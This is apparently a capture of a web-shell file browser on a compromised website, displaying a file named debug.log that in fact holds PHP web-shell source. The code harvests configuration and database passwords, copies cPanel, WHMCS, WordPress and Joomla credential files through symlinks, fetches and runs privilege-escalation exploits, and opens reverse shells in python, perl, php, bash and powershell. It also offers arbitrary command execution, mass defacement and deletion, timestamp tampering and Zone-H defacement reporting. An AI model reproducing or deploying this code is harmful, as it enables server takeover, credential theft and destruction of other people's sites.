/var/www/vhosts/ihelp.ro/httpdocs/webroot/123
NameSizeModeActions
symvhosts/-0755rm
xaivhost/-0755rm
asede.php415850644editdlrm
debug.log1350900644editdlrm
fw.update.php2189860644editdlrm
kobe-config.php97730644editdlrm
kobeadminer.php4766030644editdlrm
oma.php10160644editdlrm
php.ini620644editdlrm
trojan.php137120644editdlrm
vhost.php58690644editdlrm
Edit: /var/www/vhosts/ihelp.ro/httpdocs/webroot/123/debug.log (135090B)
" . $perm . ""; } else { return "" . $perm . ""; } } function s() { echo '

'; } function ok() { echo ''; } // config password searcher if ($_1337["id"] == "conf") { s(); $home = $_SERVER['DOCUMENT_ROOT']; $defaultTargetFiles = "wp-config.php configuration.php local.xml settings.inc.php config.php conn.php config.inc.php koneksi.php connect.php connecr.php .env database.php"; echo '
Config Searcher

Configuration file will be saved in a .txt file. You can see all the password lists from this database to use for CPanel, SSH, or other purposes (use responsibly).

'; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['sepconfig']) && isset($_POST['target_files'])) { $outputFilename = basename('kobeconfigresult.txt'); $searchDir = $_POST['sepconfig']; $targetFilesInput = $_POST['target_files']; if (empty($searchDir) || !is_dir($searchDir)) { echo "

Invalid or empty directory specified.

"; return; } $targetFiles = array_filter(array_map('trim', explode("\n", $targetFilesInput))); function searchFiles($dir, $targetFiles, &$foundFiles, $maxDepth = 5, $currentDepth = 0) { if ($currentDepth > $maxDepth) { return; } $iterator = new DirectoryIterator($dir); foreach ($iterator as $item) { if ($item->isDot()) { continue; } $path = $item->getPathname(); if ($item->isDir()) { searchFiles($path, $targetFiles, $foundFiles, $maxDepth, $currentDepth + 1); } elseif (in_array($item->getFilename(), $targetFiles)) { $foundFiles[] = $path; } } } $foundFiles = []; searchFiles($searchDir, $targetFiles, $foundFiles); $result = ''; if (!empty($foundFiles)) { foreach ($foundFiles as $file) { $fileSize = filesize($file); $result .= "File found: $file (Size: {$fileSize} bytes)\n"; if ($fileSize > 0) { $content = file_get_contents($file); if ($content !== false) { $result .= "######## Start of $file ########\n"; $result .= $content . "\n"; $result .= "######## End of $file ########\n\n"; } } } } else { $result = "No target files were found.\n"; } if (file_put_contents($outputFilename, $result)) { echo "

Success! The results were saved to $outputFilename

"; } else { echo "

Failed to save the result.

"; } } } // zone h if ($_1337["id"] == "zoneh") { s(); echo '
Zone-H Mass Notify
'; echo "
"; if ($_POST["submit"]) { $domain = explode("\r\n", $_POST["url"]); $nick = $_POST["nick"]; echo "Defacer Onhold: http://www.zone-h.org/archive/notifier=$nick/published=0
"; echo "Defacer Archive: http://www.zone-h.org/archive/notifier=$nick

"; function zoneh($url, $nick) { $ch = curl_init("http://www.zone-h.com/notify/single"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt( $ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send" ); return curl_exec($ch); curl_close($ch); } foreach ($domain as $url) { $zoneh = zoneh($url, $nick); if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) { echo "$url -> OK
"; } else { echo "$url -> ERROR!
"; } } } else { echo '
Attacker Name: Domain List:
'; } echo "
"; } // create htaccess if ($_1337["id"] == "createhtaccess") { s(); echo '
Create .htaccess
'; if (isset($_1337['bikin'])) { $selectedContent = isset($_1337['content']) ? $_1337['content'] : ''; $isiFile = ''; $namafile = isset($_POST['namafile']) ? $_POST['namafile'] : ''; if ($selectedContent == 'content1') { $isiFile = " Allow from all "; } elseif ($selectedContent == 'content2') { $isiFile = " Order Allow,Deny Deny from all Order Allow,Deny Allow from all "; } $setNama = '.htaccess'; $result = file_put_contents($setNama, $isiFile); chmod($setNama, 0444); if ($result !== false) { echo 'Create file ok! ' . ok() . '
'; } else { echo 'Create file fail! ' . er() . ''; } } echo "
Defense Shell
"; } // search by ext if ($_1337["id"] == "searchbyext") { function search_by_extension($dir, $extensi, $sort_by_date) { $files = []; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile() && pathinfo($file, PATHINFO_EXTENSION) == $extensi) { $files[] = $file->getPathname(); } } if ($sort_by_date) { usort($files, function($a, $b) { return filemtime($b) - filemtime($a); }); } return $files; } s(); echo '
Search By Extension
'; if ($_1337['start']) { $dir = $_1337['d_dir']; $extensi = ltrim($_1337['extensi'], '.'); $sort_by_date = isset($_1337['sort_by_date']) && $_1337['sort_by_date'] == 'on'; $search_results = search_by_extension($dir, $extensi, $sort_by_date); if (!empty($search_results)) { echo "
Results for extension .$extensi in directory $dir:
"; } else { echo "
No files with extension .$extensi found in directory $dir.
"; } } echo "
Directory:
Extension:
"; } // phpmailer if ($_1337["id"] == "phpmailer") { s(); echo '
PHP Mailer
'; if ($_1337["start"]) { $email_penerima = isset($_1337["email_penerima"]) ? $_1337["email_penerima"] : ''; $subjek = isset($_1337["subjek"]) ? $_1337["subjek"] : ''; $pesan = isset($_1337["pesan"]) ? $_1337["pesan"] : ''; if (filter_var($email_penerima, FILTER_VALIDATE_EMAIL)) { if (@mail($email_penerima, $subjek, $pesan)) { echo '
PHPMailer Sending! ' . ok() . '
'; } else { echo '
PHPMailer Failed! ' . er() . '
'; } } else { echo '
Invalid email address Failed! ' . er() . '
'; } } echo "
Email Receiver:
Subject:
Message:
"; } // scan root if ($_1337["id"] == "scan_root") { s(); echo '
Scan Root
'; echo "
Auto Scan Scan SUID Exploit Suggester
"; if (!function_exists("proc_open")) { echo "
Command execution is disabled!
"; } if (!is_writable($path)) { echo "
Current directory is unwritable!
"; } if (isset($_1337['id_two']) && $_1337['id_two'] == "autoscan") { if (!file_exists($path . "/rooting/")) { mkdir($path . "/rooting"); exe("wget https://raw.githubusercontent.com/hekerprotzy/rootshell/main/auto.tar.gz", $path . "/rooting"); exe("tar -xf auto.tar.gz", $path . "/rooting"); if (!file_exists($path . "/rooting/netfilter")) { echo "
Failed to download material!
"; } } echo '
Netfilter: ' . exe("timeout 10 ./rooting/netfilter", $path) . '
Ptrace: ' . exe("echo id | timeout 10 ./rooting/ptrace", $path) . '
Sequoia: ' . exe("timeout 10 ./rooting/sequoia", $path) . '
OverlayFS: ' . exe("echo id | timeout 10 ./overlayfs", $path . "/rooting") . '
Dirtypipe: ' . exe("echo id | timeout 10 ./rooting/dirtypipe /usr/bin/su", $path) . '
Sudo: ' . exe("echo 12345 | timeout 10 sudoedit -s Y", $path) . '
Pwnkit: ' . exe("echo id | timeout 10 ./pwnkit", $path . "/rooting") . @exe("rm -rf ./rooting | timeout 10 ") . '
'; } elseif (isset($_1337['id_two']) && $_1337['id_two'] == "scansd") { echo '
[+] Scanning...
'; echo '
' . exe("find / -perm -u=s -type f 2>/dev/null", $path) . '
'; } elseif (isset($_1337['id_two']) && $_1337['id_two'] == "esg") { echo '
[+] Loading...
'; echo '
' . exe("curl -Lsk http://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash", $path) . '
'; } } // webshell killer if ($_1337["id"] == "webshell_killer") { s(); echo '
Webshell Killer
'; if (isset($_1337['bikin'])) { $selectedContent = isset($_1337['content']) ? $_1337['content'] : ''; $isiFile = ''; $namafile = isset($_1337['namafile']) ? $_1337['namafile'] : ''; if ($selectedContent == 'content1') { $isiFile = "\n" . " Order Allow,Deny\n" . " Deny from all\n" . "\n" . "\n" . " Order Allow,Deny\n" . " Allow from all\n" . "\n" . "\n" . " RewriteEngine On\n" . " RewriteBase /\n" . " RewriteRule ^index\\.php\$ - [L]\n" . " RewriteCond %{REQUEST_FILENAME} !-f\n" . " RewriteCond %{REQUEST_FILENAME} !-d\n" . " RewriteRule . /index\\.php [L]\n" . "\n" . "ErrorDocument 403 /index.php\n" . "ErrorDocument 404 /index.php"; } elseif ($selectedContent == 'content2' && !empty($namafile)) { $allowedFiles = implode('|', array_map('preg_quote', explode('|', $namafile), array('/'))); $isiFile = "\n" . " Order Allow,Deny\n" . " Deny from all\n" . "\n" . "\n" . " Order Allow,Deny\n" . " Allow from all\n" . "\n" . "\n" . " RewriteEngine On\n" . " RewriteBase /\n" . " RewriteRule ^index\\.php\$ - [L]\n" . " RewriteCond %{REQUEST_FILENAME} !-f\n" . " RewriteCond %{REQUEST_FILENAME} !-d\n" . " RewriteRule . /index\\.php [L]\n" . "\n" . "ErrorDocument 403 /index.php\n" . "ErrorDocument 404 /index.php"; } $rootPath = $_SERVER['DOCUMENT_ROOT']; $success = true; $results = []; if (is_dir($rootPath)) { $dirs = array_diff(scandir($rootPath), ['.', '..']); foreach ($dirs as $dir) { $dirPath = $rootPath . '/' . $dir; if (is_dir($dirPath) && $dirPath !== $path) { // Exclude current directory $htaccessPath = $dirPath . '/.htaccess'; if (is_writable($dirPath)) { if (file_put_contents($htaccessPath, $isiFile) !== false) { chmod($htaccessPath, 0444); $results[] = "
  • Success: .htaccess created in $dirPath
  • "; // Green for success } else { $results[] = "
  • Failed: Unable to create .htaccess in $dirPath
  • "; // Red for failure $success = false; } } else { $results[] = "
  • Failed: $dirPath is not writable
  • "; // Red for failure $success = false; } } } } else { $success = false; $results[] = "
  • Failed: Root path ($rootPath) is not accessible
  • "; // Red for failure } echo '
    '; if ($success && !empty($results)) { echo 'Webshell Killer Applied Successfully! ' . ok() . ''; } else { echo 'Webshell Killer Failed in Some Directories! ' . er() . ''; } echo '
    '; } echo "
    "; } // symlink hard if ($_1337["id"] == "symlink") { s(); echo '
    Symlink Extractor
    '; if (isset($_1337['conf'])) { @ini_set("html_errors", 0); @ini_set("max_execution_time", 0); @ini_set("display_errors", 0); @ini_set("file_uploads", 1); $home = $_1337['home']; $folfig = $path . '/' . $home; @mkdir($folfig, 0755); @chdir($folfig); $htaccess = $_1337['achon666ju5t']; file_put_contents(".htaccess", $htaccess, FILE_APPEND); $passwd = explode("\n", $_1337['passwd']); $results = []; foreach ($passwd as $pwd) { $user = trim($pwd); if (!empty($user)) { $userHome = "/$home/$user"; // Symlink and copy operations symlink($userHome . "/.my.cnf", $user . " CPANEL"); copy($userHome . "/.my.cnf", $user . " CPANEL.txt"); symlink($userHome . "/.accesshash", $user . " WHMCS.txt"); copy($userHome . "/.accesshash", $user . " WHMCS.txt"); symlink($userHome . "/public_html/suspended.page/index.html", $user . " RESELLER.txt"); copy($userHome . "/public_html/suspended.page/index.html", $user . " RESELLER.txt"); symlink($userHome . "/public_html/.accesshash", $user . " WHMCS.txt"); copy($userHome . "/public_html/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/configuration.php", $user . " WHMCS or JOOMLA.txt"); copy($userHome . "/public_html/account/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/accounts/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/buy/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/checkout/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/central/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/clienti/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/client/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/cliente/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/clientes/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/clients/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/clientarea/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/clientsarea/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/client-area/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/clients-area/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/clientzone/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/client-zone/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/core/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/company/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/customer/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/customers/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/bill/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/billing/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/finance/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/financeiro/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/host/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/hosts/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/hosting/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/hostings/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/klien/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/manage/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/manager/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/member/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/members/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/my/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/myaccount/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/my-account/client/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/myaccounts/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/my-accounts/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/order/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/orders/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/painel/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/panel/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/panels/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/portal/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/portals/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/purchase/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/secure/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/support/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/supporte/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/supports/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/web/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/webhost/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/webhosting/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/whm/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/whmcs/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/whmcs2/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/Whm/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/Whmcs/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/WHM/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/WHMCS/configuration.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/wp/test/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/blog/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/beta/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/portal/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/site/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/wp/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/WP/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/news/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/wordpress/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/test/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/demo/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/home/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/v1/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/v2/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/press/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/new/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/blogs/wp-config.php", $user . " WORDPRESS.txt"); copy($userHome . "/public_html/blog/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/submitticket.php", $user . " WHMCS.txt"); copy($userHome . "/public_html/cms/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/beta/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/portal/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/site/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/main/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/home/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/demo/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/test/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/v1/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/v2/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/joomla/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/new/configuration.php", $user . " JOOMLA.txt"); copy($userHome . "/public_html/app/etc/local.xml", $user . " MAGENTO.txt"); copy($userHome . "/public_html/config/settings.inc.php", $user . " PRESTASHOP.txt"); copy($userHome . "/public_html/application/config/database.php", $user . " ELLISLAB.txt"); copy($userHome . "/public_html/admin/config.php", $user . " OPENCART.txt"); copy($userHome . "/public_html/default/settings.php", $user . " DRUPAL.txt"); copy($userHome . "/public_html/forum/config.php", $user . " PHPBB.txt"); copy($userHome . "/public_html/vb/includes/config.php", $user . " VBULLETIN.txt"); copy($userHome . "/public_html/includes/config.php", $user . " VBULLETIN.txt"); copy($userHome . "/public_html/forum/includes/config.php", $user . " VBULLETIN.txt"); copy($userHome . "/public_htm/config.php", $user . " OTHER.txt"); copy($userHome . "/public_htm/html/config.php", $user . " PHPNUKE.txt"); copy($userHome . "/public_htm/conn.php", $user . " OTHER.txt"); copy($userHome . "/public_html/conn.php", $user . " OTHER.txt"); copy($userHome . "/public_html/inc/config.inc.php", $user . " OTHER.txt"); copy($userHome . "/public_html/application/config/database.php", $user . " OTHER.txt"); copy("/var/www/wp-config.php", "WORDPRESS.txt"); copy("/var/www/configuration.php", "JOOMLA.txt"); copy("/var/www/config.inc.php", "OPENJOURNAL.txt"); copy("/var/www/config.php", "OTHER.txt"); copy("/var/www/config/koneksi.php", "OTHER.txt"); copy("/var/www/include/config.php", "OTHER.txt"); copy("/var/www/connect.php", "OTHER.txt"); copy("/var/www/config/connect.php", "OTHER.txt"); copy("/var/www/include/connect.php", "OTHER.txt"); copy("/var/www/html/wp-config.php", "WORDPRESS.txt"); copy("/var/www/html/configuration.php", "JOOMLA.txt"); copy("/var/www/html/config.inc.php", "OPENJOURNAL.txt"); copy("/var/www/html/config.php", "OTHER.txt"); copy("/var/www/html/config/koneksi.php", "OTHER.txt"); copy("/var/www/html/include/config.php", "OTHER.txt"); copy("/var/www/html/connect.php", "OTHER.txt"); copy("/var/www/html/config/connect.php", "OTHER.txt"); copy("/var/www/html/include/connect.php", "OTHER.txt"); symlink("/var/www/wp-config.php", "WORDPRESS.txt"); symlink("/var/www/configuration.php", "JOOMLA.txt"); symlink("/var/www/config.inc.php", "OPENJOURNAL.txt"); symlink("/var/www/config.php", "OTHER.txt"); symlink("/var/www/config/koneksi.php", "OTHER.txt"); symlink("/var/www/include/config.php", "OTHER.txt"); symlink("/var/www/connect.php", "OTHER.txt"); symlink("/var/www/config/connect.php", "OTHER.txt"); symlink("/var/www/include/connect.php", "OTHER.txt"); symlink("/var/www/html/wp-config.php", "WORDPRESS.txt"); symlink("/var/www/html/configuration.php", "JOOMLA.txt"); symlink("/var/www/html/config.inc.php", "OPENJOURNAL.txt"); symlink("/var/www/html/config.php", "OTHER.txt"); symlink("/var/www/html/config/koneksi.php", "OTHER.txt"); symlink("/var/www/html/include/config.php", "OTHER.txt"); symlink("/var/www/html/connect.php", "OTHER.txt"); symlink("/var/www/html/config/connect.php", "OTHER.txt"); symlink("/var/www/html/include/connect.php", "OTHER.txt"); $results[] = "
  • Success: Symlinks and copies created for user $user in $folfig
  • "; } } echo '
    '; if (!empty($results)) { echo 'Symlink Extraction Successful! ' . ok() . ''; } else { echo 'Symlink Extraction Failed! ' . er() . ''; } echo '
    '; } echo "
    "; } // mass deface if ($_1337["id"] == "deface") { function mass_all($dir, $namefile, $contents_sc) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lapet = $dirc . "/" . $namefile; if ($dirb === ".") { file_put_contents($lapet, $contents_sc); } elseif ($dirb === "..") { file_put_contents($lapet, $contents_sc); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[] $lapet
    "; file_put_contents($lapet, $contents_sc); $coek = mass_all($dirc, $namefile, $contents_sc); } } } } } } function mass_onedir($dir, $namefile, $contents_sc) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lapet = $dirc . "/" . $namefile; if ($dirb === ".") { file_put_contents($lapet, $contents_sc); } elseif ($dirb === "..") { file_put_contents($lapet, $contents_sc); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[] $dirb/$namefile
    "; file_put_contents($lapet, $contents_sc); } } } } } } if ($_1337["start"]) { if ($_1337["tipe"] == "mass") { mass_all($_1337["d_dir"], $_1337["d_file"], $_1337["script"]); } elseif ($_1337["tipe"] == "onedir") { mass_onedir($_1337["d_dir"], $_1337["d_file"], $_1337["script"]); } } s(); echo '
    Mass Deface
    '; echo "
    Select Type:
    Directory: Filename: Your Script:
    "; } // mass change date if ($_1337["id"] == "masschdte") { s(); echo '
    Mass Update Modification Date for All File/Dir
    '; echo '
    Directory:
    Modification Date:
    '; function massUpdateModDate($dir, $targetType, $modDate, &$changedFiles = []) { $files = scandir($dir); foreach ($files as $file) { if ($file === '.' || $file === '..') { continue; } $fullPath = $dir . DIRECTORY_SEPARATOR . $file; if ( ($targetType === "file" && is_file($fullPath)) || ($targetType === "dir" && is_dir($fullPath)) ) { if (isset($_POST["change"])) { $dateParts = explode(" ", $modDate); $date = date_parse($dateParts[0]); $time = isset($dateParts[1]) ? explode(":", $dateParts[1]) : [0, 0, 0]; $hour = isset($time[0]) ? $time[0] : 0; $minute = isset($time[1]) ? $time[1] : 0; $second = isset($time[2]) ? $time[2] : 0; $timeStamp = mktime($hour, $minute, $second, $date['month'], $date['day'], $date['year']); if (touch($fullPath, $timeStamp)) { $changedFiles[] = $fullPath; } } } if (is_dir($fullPath)) { massUpdateModDate($fullPath, $targetType, $modDate, $changedFiles); } } } if (isset($_POST["change"])) { $dir = $_POST["dir"]; $targetType = $_POST["target_type"]; $modDate = $_POST["modification_date"]; $changedFiles = []; massUpdateModDate($dir, $targetType, $modDate, $changedFiles); if (!empty($changedFiles)) { echo '
    '; echo "

    Updated Modification Date to $modDate

    "; echo ""; echo "
    "; } } } // mass chmod all file/dir if ($_1337["id"] == "masschemod") { s(); echo '
    Mass Change Permissions (Chmod) All File/Dir
    '; echo '
    Directory:
    Permissions:
    '; function massChmod($dir, $targetType, $permission, &$changedFiles = []) { // Scan directory including files starting with '.' $files = scandir($dir); foreach ($files as $file) { // Skip current and parent directory ('.' and '..') if ($file === '.' || $file === '..') { continue; } $fullPath = $dir . DIRECTORY_SEPARATOR . $file; // Check if it's a file or directory and matches the target type if ( ($targetType === "file" && is_file($fullPath)) || ($targetType === "dir" && is_dir($fullPath)) ) { if (isset($_POST["change"])) { if (chmod($fullPath, octdec($permission))) { $changedFiles[] = $fullPath; } } } // Recursively scan subdirectories if (is_dir($fullPath)) { massChmod($fullPath, $targetType, $permission, $changedFiles); } } } if (isset($_POST["change"])) { $dir = $_POST["dir"]; $targetType = $_POST["target_type"]; $permission = $_POST["permission"]; $changedFiles = []; massChmod($dir, $targetType, $permission, $changedFiles); if (!empty($changedFiles)) { echo '
    '; echo "

    Change Permissions to $permission

    "; echo ""; echo "
    "; } } } // find file using keyword if ($_1337["id"] == "findkey") { s(); echo '
    Find File Using Keyword
    '; if ($_SERVER["REQUEST_METHOD"] == "POST") { $keyword = $_POST["keyword"]; $path = isset($_POST["path"]) ? $_POST["path"] : '.'; $extension = $_POST["extension"]; if ($extension === "all") { $files = glob("$path/*"); } else { $files = glob("$path/*$extension"); } $matching_files = []; foreach ($files as $file) { if (is_file($file) && strpos(file_get_contents($file), $keyword) !== false) { $matching_files[] = $file; } } if (!empty($matching_files)) { echo '
    Searching '.$keyword.' on '.$extension.' extension.
    '; } else { echo '

    No matching files found.

    '; } } } // find recent files if ($_1337["id"] == "findmtime") { s(); echo '
    Find Modified Files
    '; function getModifiedFiles($path, $startTime, $endTime) { $files = []; $dirContent = scandir($path); foreach ($dirContent as $item) { if ($item != '.' && $item != '..') { $itemPath = $path . '/' . $item; if (is_dir($itemPath)) { $subDirFiles = getModifiedFiles($itemPath, $startTime, $endTime); $files = array_merge($files, $subDirFiles); } else { $modifiedTime = filemtime($itemPath); if ($modifiedTime >= $startTime && $modifiedTime <= $endTime) { $files[] = $itemPath; } } } } return $files; } $customPath = isset($_POST["custom_path"]) ? $_POST["custom_path"] : getcwd(); if (isset($_POST["scan"])) { $currentDateTime = new DateTime(); $startTime = $currentDateTime->getTimestamp(); $selectedRange = $_POST["time_range"]; switch ($selectedRange) { case "1min": $endTime = $startTime - 60; break; case "1day": $endTime = $startTime - 60 * 60 * 24; break; case "10days": $endTime = $startTime - 60 * 60 * 24 * 10; break; case "1month": $endTime = $startTime - 60 * 60 * 24 * 30; break; default: $endTime = $startTime; } $modifiedFiles = getModifiedFiles($customPath, $endTime, $startTime); echo '
    "; } } // mass delete if ($_1337["id"] == "delete") { function mass_delete($dir, $namefile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lapet = $dirc . "/" . $namefile; if ($dirb === "." || $dirb === "..") { continue; } if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($lapet)) { echo "[] $lapet
    "; unlink($lapet); } mass_delete($dirc, $namefile); } } } } } if ($_1337["start"]) { mass_delete($_1337["d_dir"], $_1337["d_file"]); } s(); echo '
    Mass Delete
    '; echo "
    Directory: Filename:

    "; } // back connect if ($_1337["id"] == "revsh") { s(); echo '
    Reverse Shell
    '; echo "
    IP Address: Port: Reverse Shell using:

    "; if(isset($_POST['submit'])){ $backdoor = $_POST['backdoor']; $ip = $_POST['ip']; $port = $_POST['port']; if($backdoor == 1){ $command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"; }elseif($backdoor == 2){ $command = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); subprocess.call([\"/bin/sh\",\"-i\"]);'"; }elseif($backdoor == 3){ $command = "php -r '\$sock=fsockopen(\"$ip\",$port);stream_set_blocking(\$sock, 0);\$cmd=\"/bin/sh -i\";proc_close(proc_open(\$cmd, array(0=>\$sock, 1=>\$sock, 2=>\$sock), \$foo));'"; }elseif($backdoor == 4){ $command = "perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"; }elseif($backdoor == 5){ $command = "/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'"; }elseif($backdoor == 6){ $command = 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\'$ip\',$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()'; } if (function_exists('system')) { system($command); } elseif (function_exists('exec')) { exec($command); } elseif (function_exists('shell_exec')) { shell_exec($command); } elseif (function_exists('passthru')) { passthru($command); } elseif (function_exists('popen')) { $handle = popen($command, 'r'); if ($handle) { while (!feof($handle)) { echo fgets($handle, 4096); } pclose($handle); } } else { proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes); } //tambahan buat backticks echo `$command`; } } // command if ($_1337["id"] == "cmd") { s(); echo '
    Command (Use Many Functions!)
    '; if (!empty($_POST["cmd"])) { $cmd = exe($_POST["cmd"]); } echo "
    "; if (isset($cmd)): echo '
    ' . htmlspecialchars($_POST["cmd"], ENT_QUOTES, "UTF-8") . "
    " . htmlspecialchars($cmd, ENT_QUOTES, "UTF-8") . '
    '; elseif ($_SERVER["REQUEST_METHOD"] == "POST"): echo '
    No result
    '; endif; } // multiple file upload if ($_1337["id"] == "upload") { s(); echo '
    Multiple File Upload (From URL + Your Computer)
